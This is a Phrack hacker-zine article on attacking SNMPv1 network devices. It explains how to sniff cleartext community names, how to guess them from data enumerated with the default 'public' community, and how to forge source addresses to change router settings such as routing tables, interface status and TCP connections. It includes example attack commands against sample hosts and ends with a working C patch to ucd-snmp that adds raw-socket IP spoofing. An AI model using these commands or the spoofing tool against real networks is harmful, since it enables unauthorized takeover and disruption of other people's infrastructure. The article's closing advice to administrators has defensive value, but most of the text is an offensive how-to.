home *** CD-ROM | disk | FTP | other *** search
- .oO Phrack 50 Oo.
-
- Volume Seven, Issue Fifty
-
- 7 of 16
-
- Network Management Protocol Insecurity: SNMPv1
- alhambra [guild]
- alhambra@infonexus.com
-
-
- As networks have become larger and more complex, a need has been felt by
- certain portions of the network administration crowd to implement network
- management protocols. From an administrative point of view, this makes
- a lot of sense; centralize the administration of the network, and make it
- convenient and easy for the administrator to monitor and administer changes
- as needed. As usual, however, from the security point of view, these
- protocols are a potential for catastrophe.
-
- In this article, we'll explore the world of SNMPv1. In two later articles
- (to be published in later issues of Phrack) we'll look into other network
- management schemes (SNMPv2, DCE, etc). SNMPv1 has been around for a while.
- In fact, a number of the problems outlined in this paper have been fixed
- with the release of SNMPv2. As usual, however, large networks who placed
- their original administration burdens on SNMPv1 have been slow to change.
- As a result, large corporations, universities, and some small/cheap ISP's
- still run their routers/hubs/bridges/hosts/etc with version 1 enabled, often
- in horribly set up configurations.
-
- The SNMP protocol
-
- The SNMP protocol has 5 simple types of messages. They are get-request,
- get-next-request, set-request, get response and trap. We will concentrate
- on using the get-* messages to retrieve information from remote sites, routers
- and the like, and the set-request to manipulate a variety of settings on our
- target.
-
- SNMP uses UDP as it transport mechanism. The basic layout of an SNMP packet
- is:
- +-----------------------------------------------------------------------------+
- |IP |UDP|Version|Community|PDU |Request|err.|err. |name|value|name|value| ... |
- |Hdr|Hdr| | |Type| ID |stat|index| | | | | |
- +-----------------------------------------------------------------------------+
-
- Community is SNMP's authentication mechanism. PDU type is the type of message
- being sent (get-request, set request, etc.) Request ID is used to
- differentiate between requests. Error status is (obviously) used to transport
- error messages, and error index gives the offset of the variable which was in
- error. Finally, name and value represent the name of the field requested and
- either the value to set it to or the value of it on the remote server. These
- are defined by a MIB written in ASN.1, and encoded using a code called BER.
- ASN.1 is used to define data and the types and properties of this data.
- BER is used to actually transmit the data in a platform independent manner
- (similar perhaps to XDR.)
-
- The values that can be fetched and set via SNMP are defined in what is called
- the Message Information Base or MIB. The MIB is written in ASN.1, and defines
- all the different variable classes, types, variables and whatnot associated
- with SNMP. Standard things in the MIB are classes used to define variables
- associated with data for statistics and values for the system as a whole, the
- interfaces on the system, (possibly) an address translation table, IP, TCP,
- UDP, ICMP, and so on, depending on just what kind of system the agent is
- running on.
-
- Where exactly do SNMPv1's security flaws lie? We can narrow them down to
- 4 general problem areas:
- 1) Use of UDP as a transport mechanism
- 2) Use of clear text community names and the presence
- of default, overpriveleged communities
- 3) Information avaialable
- 4) Ability to remotely modify parameters.
-
- They're all related to one another. We'll go through one by one, define
- the problem, and explain how it is exploitable. Unfortunately, most of
- SNMPv1 (from here on out, we'll just call it SNMP) problems stem from its
- design, and have no easy solution barring the move to SNMPv2 or some other
- network management protocol. Some common sense, however, can minimize the
- problems in most situations.
-
-
-
- UDP as a transport mechanism
-
- I know I'm not alone in feeling that UDP is, at best, a poor idea when
- used in any sort of application that requires any level of security. The
- fact that UDP is connectionless leads to a myriad of problems with
- regard to host based authentication, which unfortunately enough, SNMP uses
- as one of its mechanisms. So we have 2 basic attacks due to the fact that
- a UDP transport is used. First, we can easily spoof packets to a server, and
- modify/add/reconfigure the state of the server. As we're using a spoofed
- source address, there isn't any way to get the return message, but the
- machine we are spoofing will simply drop the response message, and the server
- is none the wiser. Using our 'snmpset' program which has been modified to
- use a raw socket to allow us to forge the source address, we can modify any
- value in the MIB defined as read-write ASSUMING WE HAVE A PRIVELEGED COMMUNITY
- NAME.
-
- snmpset -v 1 -e 10.0.10.12 router.pitiful.com cisco00\
- system.sysName.0 s "owned"
-
- Changes our the router name to 'owned', just in case we want to be really
- obvious that this router has crappy security.
-
- But how do we go about getting a legitimate community name? We have a few
- different methods we can employ.
-
-
- Use of cleartext community names, and default communities
-
- One of the most laughable things about the SNMP protocol is its
- "authentication" method. I use the term authentication in the loosest
- sense only, as it makes me cringe when I think about it. SNMP only
- can authenticate based on two different elements. The source address, as
- we saw above, it trivial to forge, rendering address based authentication
- useless. The second method is the use of "community" names. Community names
- can be thought of as passwords to the SNMP agent. As easily as plaintext
- password can be sniffed from telnet, rlogin, ftp and the like, we can sniff
- them from SNMP packets. As a matter of fact, it's easier, as every SNMP
- packet will have the community name. Grab your favorite sniffer (sniffer, not
- password sniffer) and head over to your favorite segement running SNMP. My
- sniffer of choice is 'snoop' so I'll use it as my example, though using any
- other sniffer should be easy. SNMP uses port 161. The field we're after, the
- community, is typically 6-8 characters long. Cranking up snoop on my segment
- reveals the following. (IP's changed to protect the stupid, of course)
-
- # snoop -x 49,15 port 161
- Using device /dev/le (promiscuous mode)
- 10.20.48.94 -> 10.20.19.48 UDP D=161 S=1516 LEN=62
-
- 0: 0572 3232 3135 a028 0202 009c 0201 0002 .r4485.(.......
-
- There we go. Using this community name we're able to grab all the info
- we want, and modify all the parameter and whatnot we desire. Easy enough...
- if you're able to sniff the segment. But what happens when you can't?
-
-
- Available Information
-
- When you can't sniff the segment, life gets a little more complicated. But
- only a little. We have a few things on our side that may come in handy.
- First off, almost always there is a default 'public' community. Very few
- admin's take the time to deactivate this community, nor realize the risk it
- poses. Using this community, we can usually read all the information we want.
- Quite often, being able to read the information gives us enough clues to
- try to brute force a legitimate community name.
-
- snmpwalk -v 1 router.pitiful.com public system
- will dump the contents of the system table to us, returning something like:
-
- system.sysDescr.0 = "Cisco Internetwork Operating System Software ..IOS (tm) GS
- Software (RSP-K-M), Version 11.0(4), RELEASE SOFTWARE (fc1)..Copyright (c) 1986
- -1995 by cisco Systems, Inc...Compiled Mon 18-Dec-95 22:54 by alanyu"
- system.sysObjectID.0 = OID: enterprises.Cisco.1.45
- system.sysUpTime.0 = Timeticks: (203889196) 23 days, 14:21:31
- system.sysContact.0 = "Jeff Wright"
- system.sysName.0 = "hws"
- system.sysLocation.0 = ""
- system.sysServices.0 = 6
-
- We see that we're dealing with a cisco router, and we see it's contact's name,
- and the system name. Same as we might do with guessing passwords, we can use
- this information to try to piece together a community name. Popular favorites
- include stuff like 'admin' 'router' 'gateway' and the like, combined with
- numbers or whatnot. Trying something like 'routerhws' for the above example
- might work. It might not. While failed attempts are noted, very few people,
- if any, ever check for them. (as it turns out, the above router had a
- community name of 'cisco00'. Imaginative, eh?)
-
- Even if only public works, there's lots of interesting things available via
- SNMP. We can dump routing tables, connection tables, statistics on router use.
- In certain situations, we can even get information on packet filters in place,
- and access control rules. All are useful information to have in setting up
- attacks in conventional manners. Sometimes public is even given r/w on
- certain tables, and we can do most of what we need to do via that account.
- When we do have a priveledged community though, the fun begins.
-
-
- Remote Manipulation via SNMP
-
- We have all the elements we need to remotely configure the network. We have
- a community name, we have the ability to forge the manager (the SNMP client)
- address. All we need to figure out is what we can modify. This really
- varies. There are a set of defaults that almost every SNMP'able machine
- will have. In addition to these, though, are the 'enterprise' MIB's, which
- define vendor specific SNMP tables and fields. There's really too much to go
- into here. Check out ftp://ftp.cisco.com/ or ftp://ftp.ascend.com/ , for
- example...most vendors make their MIB's easy to find. Cisco's web page also
- has a great introduction to their enterprise MIB's, which detail all the
- differences between different IOS release levels and whatnot.
- IN the meantime, though, check out the following as fun places to begin:
-
- system.sysContact \
- system.sysName |- really sorta pointless to change, but hey...whatever.
- system.sysLocation /
-
- interfaces.ifTable.ifAdminStatus.n (where n is a number, starting at 0)
-
- at.atTable.atIfIndex.n
- at.atTable.atPhysAddress.n
- at.atTable.atNetAddress.n
-
- ip.ipForwarding
- ip.ipDefaultTTL
- ip.ipRouteTable.* (there's tons of stuff in this table)
- ip.ipNetToMediaTable.* (same as above)
-
- tcp.tcpConnState.* (only setable to 12, which deletes the TCB)
-
- and so on. If you have a copy of TCP/IP Illustrated Vol. 1, the SNMP chapter
- will give you a set of tables with the types of all these values. If you don't
- have TCP/IP Illustrated, get off your computer and go buy it.
-
- Remember, people don't really like it too much when you muck with their
- equipment. Act responsibly.
-
- And to the admins reading this: TURN OFF SNMPv1! Think about it. Any time
- you allow control of you network via the network in a manner as unsafe as
- how SNMPv1 does it, you're creating more problems for yourself. Realizing
- its all about acceptable risks, realize this isn't one. Go investigate
- alternate network management software. Realize, however, there are always
- going to be problems. (I don't recommend SNMPv2, however...a few months from
- now when I release my SNMPv2 article and tools, you'll be glad you are not
- running it)
-
- Resources:
- The software I use is based on the UCD modifications to the CMU SNMP
- distribution. It is available at:
-
- ftp://ftp.ece.ucdavis.edu/pub/snmp/ucd-snmp-3.1.3.tar.gz
-
- Following this article there is a patch, which are the modifications to
- the snmplib to support address spoofing, and modifications to the 'snmpset'
- app to support them. The patch is only known to work under Solaris, though
- it should take only minor changes to move it to any other platform.
-
- ftp.cisco.com/pub/mibs and ftp.ascend.com/pub/Software-Releases/SNMP/MIBS
- contain the enterprise MIBS for a variety of different pieces of hardware.
- www.cisco.com/univercd/ contains tons of info on a variety of different
- Cisco hardware and software, including great references on SNMP under IOS.
-
- http://www.cs.tu-bs.de/ibr/cgi-bin/sbrowser.cgi
-
- has a MIB browser, which allows you to use your favorite web client to
- peruse the standard as well as vendor MIBs on thier site.
-
- RFC's! Yes! All of them. Go to http://www.internic.net/ds/dspg0intdoc.html
- and read them. Do a search for SNMP and you'll get back tons of hits.
- They're a little...hrm...terse at times, but these are the defacto definitions
- of SNMP. Skimming them will give you more info than you can imagine.
-
-
- <++> SNMPv1/snmp.diff
- *** apps/snmpset.c Mon Jan 20 09:07:22 1997
- -- apps/snmpset.c Tue Apr 8 17:21:03 1997
- ***************
- *** 77,83 ****
-
- void
- usage(){
- ! fprintf(stderr, "Usage: snmpset -v 1 [-q] hostname community [objectID typ
- e value]+ or:\n");
- fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
- value]+ or:\n");
- fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
- text [oID type val]+\n");
- fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
- --- 77,83 ----
-
- void
- usage(){
- ! fprintf(stderr, "Usage: snmpset -v 1 [-e fakeip] [-q] hostname community [
- objectID type value]+ or:\n");
- fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname noAuth [objectID type
- value]+ or:\n");
- fprintf(stderr, "Usage: snmpset [-v 2] [-q] hostname srcParty dstParty con
- text [oID type val]+\n");
- fprintf(stderr, "\twhere type is one of: i, s, x, d, n, o, t, a\n");
- ***************
- *** 85,90 ****
- --- 85,93 ----
- fprintf(stderr, "\t\tn: NULLOBJ, o: OBJID, t: TIMETICKS, a: IPADDRESS\n");
- }
-
- + extern char *fakeaddr;
- + extern int nastyflag;
- +
- int
- main(argc, argv)
- int argc;
- ***************
- *** 152,158 ****
- usage();
- exit(1);
- }
- ! break;
- default:
- printf("invalid option: -%c\n", argv[arg][1]);
- break;
- --- 155,165 ----
- usage();
- exit(1);
- }
- ! break;
- ! case 'e':
- ! fakeaddr = argv[++arg];
- ! nastyflag = 1;
- ! break;
- default:
- printf("invalid option: -%c\n", argv[arg][1]);
- break;
- *** snmplib/snmp_api.c Mon Jan 20 10:43:20 1997
- -- snmplib/snmp_api.c Tue Apr 8 17:21:08 1997
- ***************
- *** 58,63 ****
- --- 58,71 ----
- #include <sys/select.h>
- #endif
- #include <sys/socket.h>
- +
- + #include <netinet/in_systm.h>
- + #include <netinet/in.h>
- + #include <netinet/ip_var.h>
- + #include <netinet/ip.h>
- + #include <netinet/udp.h>
- + #include <netinet/udp_var.h>
- +
- #include <netdb.h>
- #include "asn1.h"
- #include "snmp.h"
- ***************
- *** 847,852 ****
- --- 855,882 ----
- }
- return 0;
- }
- + /* EVIL STUFF in_cksum for forged ip header */
- + unsigned short in_cksum(addr, len)
- + u_short *addr;
- + int len;
- + {
- + register int nleft = len;
- + register u_short *w = addr;
- + register int sum = 0;
- + u_short answer = 0;
- + while (nleft > 1) {
- + sum += *w++;
- + nleft -= 2;
- + }
- + if (nleft == 1) {
- + *(u_char *)(&answer) = *(u_char *)w ;
- + sum += answer;
- + }
- + sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
- + sum += (sum >> 16); /* add carry */
- + answer = ~sum; /* truncate to 16 bits */
- + return(answer);
- + }
-
- /*
- * Sends the input pdu on the session after calling snmp_build to create
- ***************
- *** 857,862 ****
- --- 887,894 ----
- * On any error, 0 is returned.
- * The pdu is freed by snmp_send() unless a failure occured.
- */
- + char *fakeaddr = NULL;
- + int nastyflag = 0;
- int
- snmp_send(session, pdu)
- struct snmp_session *session;
- ***************
- *** 1013,1026 ****
- xdump(packet, length, "");
- printf("\n\n");
- }
-
- !
- ! if (sendto(isp->sd, (char *)packet, length, 0,
- ! (struct sockaddr *)&pdu->address, sizeof(pdu->address)) < 0){
- ! perror("sendto");
- ! snmp_errno = SNMPERR_GENERR;
- ! return 0;
- ! }
- /* gettimeofday(&tv, (struct timezone *)0); */
- tv = Now;
- if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
- --- 1045,1099 ----
- xdump(packet, length, "");
- printf("\n\n");
- }
- + if(nastyflag == 1)
- + {
- + struct ip *ip_hdr;
- + struct udphdr *udp_hdr;
- + char *payload;
- + int socky;
- + struct sockaddr_in dest;
- + payload = (char*) malloc
- + (sizeof(struct ip)
- + + (sizeof(struct udphdr)) + length);
- + ip_hdr = (struct ip*) payload;
- + ip_hdr->ip_v=4;
- + ip_hdr->ip_hl=5;
- + ip_hdr->ip_tos=0;
- + ip_hdr->ip_off=0;
- + ip_hdr->ip_id=htons(1+rand()%1000);
- + ip_hdr->ip_ttl=255;
- + ip_hdr->ip_p=IPPROTO_UDP;
- + ip_hdr->ip_len = htons(sizeof(struct ip) + sizeof(struct udphdr) + len
- gth);
- + ip_hdr->ip_src.s_addr = inet_addr(fakeaddr);
- + ip_hdr->ip_dst = pdu->address.sin_addr;
- + ip_hdr->ip_sum = in_cksum(&ip_hdr,sizeof(ip_hdr));
- +
- + udp_hdr = (struct udphdr *) (payload + sizeof(struct ip));
- + udp_hdr->uh_sport = htons(10000+rand()%20000);
- + udp_hdr->uh_dport = htons(161);
- + udp_hdr->uh_ulen = htons(length + sizeof(struct udphdr));
- + udp_hdr->uh_sum = 0;
- + memcpy(payload + sizeof(struct udphdr)+sizeof(struct ip),packet,length
- );
- + dest.sin_family = AF_INET;
- + dest.sin_port = htons(161);
- + dest.sin_addr = pdu->address.sin_addr;
- + socky = socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
- + fprintf(stderr,"Payload size:%d sent\n",sendto(socky,payload,28+length
- ,0,
- + (struct sockaddr *)&dest,sizeof(dest)));
- + exit(0);
-
- ! }
- ! else
- ! {
- ! if (sendto(isp->sd, (char *)packet, length, 0,
- ! (struct sockaddr *)&pdu->address,
- ! sizeof(pdu->address)) < 0)
- ! {
- ! perror("sendto");
- ! snmp_errno = SNMPERR_GENERR;
- ! return 0;
- ! }
- ! }
- /* gettimeofday(&tv, (struct timezone *)0); */
- tv = Now;
- if (pdu->command == GET_REQ_MSG || pdu->command == GETNEXT_REQ_MSG
- <--> SNMPv1/snmp.diff
-